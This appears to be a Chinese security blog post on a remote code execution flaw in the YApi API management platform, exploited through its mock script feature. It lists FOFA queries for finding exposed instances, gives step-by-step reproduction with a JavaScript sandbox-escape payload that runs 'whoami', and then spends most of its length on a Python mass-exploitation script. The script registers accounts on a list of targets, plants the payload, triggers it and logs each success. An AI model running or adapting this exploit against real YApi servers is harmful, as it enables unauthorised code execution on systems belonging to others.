0x00简介
YAPI是由去哪儿网移动架构组(简称YMFE,一群由FE、iOS和Android工程师共同组成的最具想象力、创造力和影响力的大前端团队)开发的可视化接口管理工具,是一个可本地部署的、打通前后端及QA的接口管理平台。YAPI旨在为开发、产品和测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布和维护不同项目,不同平台的API。有了YAPI,我们可以很方便的测试、管理和维护多个项目的API接口,不像Swagger那样是随应用生和灭的(且线上环境下大多数须关闭),YAPI是一个独立的服务平台。
0x01漏洞描述
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问
YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
0x02影响版本
YApi<=V1.92 All
0x03FOFA语句
icon_hash=”-715193973″
app=”YApi”
0x04漏洞复现
1、进入网页注册一个用户
2、点击添加项目
3、输入项目名称之后点击创建项目
4、之后在全局mock脚本中写入以下POC并保存
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
5、之后在接口处填入内容并提交
6、点击接口名称
7、点击mock地址
8、命令执行成功
0x05批量POC
import requests
import urllib3
import json
import argparse
parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file
def poc_1(get_url):
if(get_url[-1]=='/'):
get_url=get_url[:-1]
print(get_url)
Reg_url=get_url+"/api/user/reg"
headers = {
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
data={
'email':'gua@qq.com',
'password':'123456',
'username':'Guatest'
}
try:
urllib3.disable_warnings()
Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
if Reg_res.json()['errcode']==0:
poc_2(get_url)
else:
print(get_url+" "+Reg_res.text)
except Exception as e:
print(get_url+" poc_1 请求出错")
def poc_2(get_url):
Login_url=get_url+"/api/user/login"
headers = {
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
}
data={
'email':'gua@qq.com',
'password':'123456'
}
try:
Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
if Login_res.json()['errcode']==0:
poc_3(get_url,Login_cookie)
else:
print("登陆失败")
except Exception as e:
print(get_url+" poc_2 请求出错")
def poc_3(get_url,Login_cookie):
headers={
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie':Login_cookie
}
Get_id_url=get_url+"/api/group/list"
try:
Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
G_id=str(Get_id_res.json()['data'][0]['_id'])
if Get_id_res.json()['errcode']==0:
poc_4(get_url,G_id,Login_cookie)
else:
print("获取group_id失败")
except Exception as e:
print(get_url+" poc_3 请求出错")
def poc_4(get_url,G_id,Login_cookie):
NewProjecet_url=get_url+"/api/project/add"
data={
'name':'tes',
'basepath':'',
'group_id':G_id,
'icon':'code-o',
'color':'blue',
'project_type':'private'
}
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
try:
NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
get_id=str(NewProjecet_res.json()['data']['_id'])
if NewProjecet_res.json()['errcode']==0:
poc_5(get_url,Login_cookie,get_id)
else:
print('创建目录失败失败')
except Exception as e:
print(get_url+" poc_4 请求出错")
def poc_5(get_url,Login_cookie,get_id):
Mock_url=get_url+'/api/project/up'
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
data={
'id':get_id,
'project_mock_script':"const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()",
'is_mock_open':True
}
try:
Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
if Mock_res.json()['errcode']==0:
poc_6(get_url, Login_cookie, get_id)
else:
print("mock创建失败")
except Exception as e:
print(get_url+" poc_5 请求出错")
def poc_6(get_url,Login_cookie,get_id):
Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
try:
Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
Catid=Cat_id_res.json()['data'][0]['_id']
poc_7(get_url,Login_cookie,get_id,Catid)
except Exception as e:
print(get_url+" poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
data={
'method':'GET',
'catid':Catid,
'title':'guatest',
'path':'/guatest',
'project_id':get_id
}
port_add_url=get_url+"/api/interface/add"
try:
port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
if port_add_res.json()['errcode']==0:
poc_8(get_url,Login_cookie,get_id)
else:
print("接口创建失败")
except Exception as e:
print(get_url+" poc_7 请求出错")
def poc_8(get_url,Login_cookie,get_id):
headers = {
'Content-Type': 'application/json',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
'Cookie': Login_cookie
}
vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
try:
vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
print(vuln_url+' '+vuln_res.text)
with open('success.txt', 'a+', encoding="utf-8") as s:
s.write(get_url + ' '+vuln_res.text+'
')
except Exception as e:
print(get_url+" poc_8 请求出错",e)
def file():
with open(args.file,'r+',encoding='utf-8') as f:
for i in f.readlines():
s = i.strip()
if 'http://' in s:
poc_1(s)
else:
exp1 = 'http://'+s
poc_1(exp1)
if __name__ == '__main__':
try:
if Get_url != '' and Get_file == '':
if 'http://' in Get_url:
poc_1(Get_url)
else:
exp2 = 'http://' + Get_url
poc_1(exp2)
elif Get_url == '' and Get_file != '':
file()
except KeyboardInterrupt:
print("结束进程。。。。")
pass